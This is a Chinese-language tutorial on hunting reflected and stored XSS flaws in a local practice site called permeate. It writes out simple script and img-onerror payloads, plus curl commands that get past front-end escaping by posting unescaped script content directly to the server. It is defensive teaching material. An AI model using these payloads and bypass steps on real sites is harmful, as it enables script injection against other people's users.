前言
在前些章節 （web安全系列（一）：XSS 攻擊基礎及原理）以及（Web安全系列（二）：XSS 攻擊進階（初探 XSS Payload））中，我詳細介紹了 XSS 形成的原理以及 XSS 攻擊的分類，並且編寫了一個小栗子來展示出 XSS Payload 的危害。
目前來說，XSS 的漏洞類型主要分為三類：反射型、存儲型、DOM型，在本篇文章當中會以permeate生態測試系統為例，分析網站功能，引導攻擊思路，幫助讀者能夠快速找出網站可能存在的漏洞。
反射型 XSS 挖掘
現在筆者需要進行手工XSS漏洞挖掘，在手工挖掘之前筆者需要先逛逛網站有哪些功能點，如下圖是permeate的界面
思路分析
我們知道反射型 XSS ，大多是通過 URL 傳播的，那么我就需要思考哪些地方會出現讓 URL 地址的參數在頁面中顯示，我相信大部分讀者腦中第一直覺就是搜索欄，尤其是一些大型網站的站內搜索，搜索的關鍵詞會展示在當前的頁面中。例如某搜索引擎：
而在我們測試的首頁也有網站搜索功能，因此我們可以從搜索功能着手測試，嘗試是否可以進行 XSS Payload，我們先輸入一個簡單的 Payload 進行測試，測試代碼為<img onerror="alert(1)" src=1 />
當我們點擊搜索按鈕時，URL 應當自動改變為 http://localhost:8888/home/search.php?keywords=<img onerror="alert(1)" src=1 />
操作過程
我們進行嘗試：
先輸入搜索內容
再進行搜索
我們發現，Google Chrome 居然直接阻止了該事件，Payload 也沒有進行觸發，這里我就需要跟讀者說一下了，Chrome 瀏覽器的內核自帶 XSS 篩選器，對於反射型 XSS 會自動進行攔截，所以盡量不要用 Chrome 進行測試，我們改用火狐繼續進行測試：
果然，直接觸發了我們的 Payload 。
結果分析
此 Payload 被觸發，說明我們找到了一個反射型 XSS 的漏洞，當然，這種漏洞非常初級，絕大部分網站都進行了過濾操作，再加上隨着瀏覽器功能越來越強大，瀏覽器自帶的 XSS 篩選器變得更加智能，這種漏洞會越來越少見，下面我將會測試更為常見的存儲型 XSS 的挖掘與並介紹如何繞過。
存儲型 XSS 挖掘
思路分析
存儲型 XSS 的攻擊代碼是存在服務器端，因此，我們需要找到該網站將數據存儲到后端的功能，我們對此網站有了一定了解，會發現 permeate 擁有發帖和回帖功能，這正是 Web 端和后台進行溝通的渠道，所有帖子信息都會存在服務端，有了這些信息，我們可以進入板塊，進行發帖操作：
進入發帖界面：
檢測漏洞
我們現在標題和內容里填上初級的 Payload ：123<script>alert('123')</script>
我們進行發表操作：
頁面直接執行了我們的 Payload，我們點完確定，查看列表：
我們進入帖子內部，會發現如下場景：
很明顯，文章主體部分的 Payload 並沒有執行，這到底是怎么一回事呢？
抓包
為什么標題內容可以 Payload，主體內容不能 Payload 呢，我們打開控制台，切到Network 再來發一篇帖子看看：
我們可以看到對應的內容已經經過轉義，轉義分為兩種，前端轉義和后端轉義，如果是后端轉義通常我們就不需要測試下去了，因為我們不知道服務端的內部代碼，如果是前端轉義則可以繞過這個限制。
那么該如何操作呢？
我們拷貝出 URL
curl 'http://localhost:8888/home/_fatie.php?bk=5&zt=0' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -H 'Origin: http://localhost:8888' -H 'Upgrade-Insecure-Requests: 1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Referer: http://localhost:8888/home/fatie.php?bk=5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8' -H 'Cookie: PHPSESSID=7690435026da386df8a80e63f3da2089' --data 'csrf_token=9191&bk=5&title=123%3Cscript%3Econsole.log%28232%29%3C%2Fscript%3E&content=%3Cp%3E123%26lt%3Bscript%26gt%3Bconsole.log%28232%29%26lt%3B%2Fscript%26gt%3B%3C%2Fp%3E' --compressed
找到其中的 title 和 content，將 content 的內容替換為 title 的內容：
curl 'http://localhost:8888/home/_fatie.php?bk=5&zt=0' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -H 'Origin: http://localhost:8888' -H 'Upgrade-Insecure-Requests: 1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Referer: http://localhost:8888/home/fatie.php?bk=5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8' -H 'Cookie: PHPSESSID=7690435026da386df8a80e63f3da2089' --data 'csrf_token=9191&bk=5&title=123%3Cscript%3Econsole.log%28232%29%3C%2Fscript%3E&content=123%3Cscript%3Econsole.log%28232%29%3C%2Fscript%3E' --compressed
替換完成之后，將此內容復制到終端進行運行：
回到主頁面查看相關內容：
Payload 執行了兩次，內容也被攻擊了。
結果分析
看到此處說明我們已經成功繞過前端XSS過濾器，直接對內容進行修改，所以后端的轉義有時候也很有必要。
總結
挖掘漏洞是一個復雜的過程，手工挖掘不失為一種可靠的方式，但是手動挖掘效率低下，有時還要看運氣，目前已經出現很多自動檢測 XSS 漏洞的工具以及平台，大大提高發現漏洞的效率，我將在稍后的章節中介紹一些工具以及如何防御 XSS。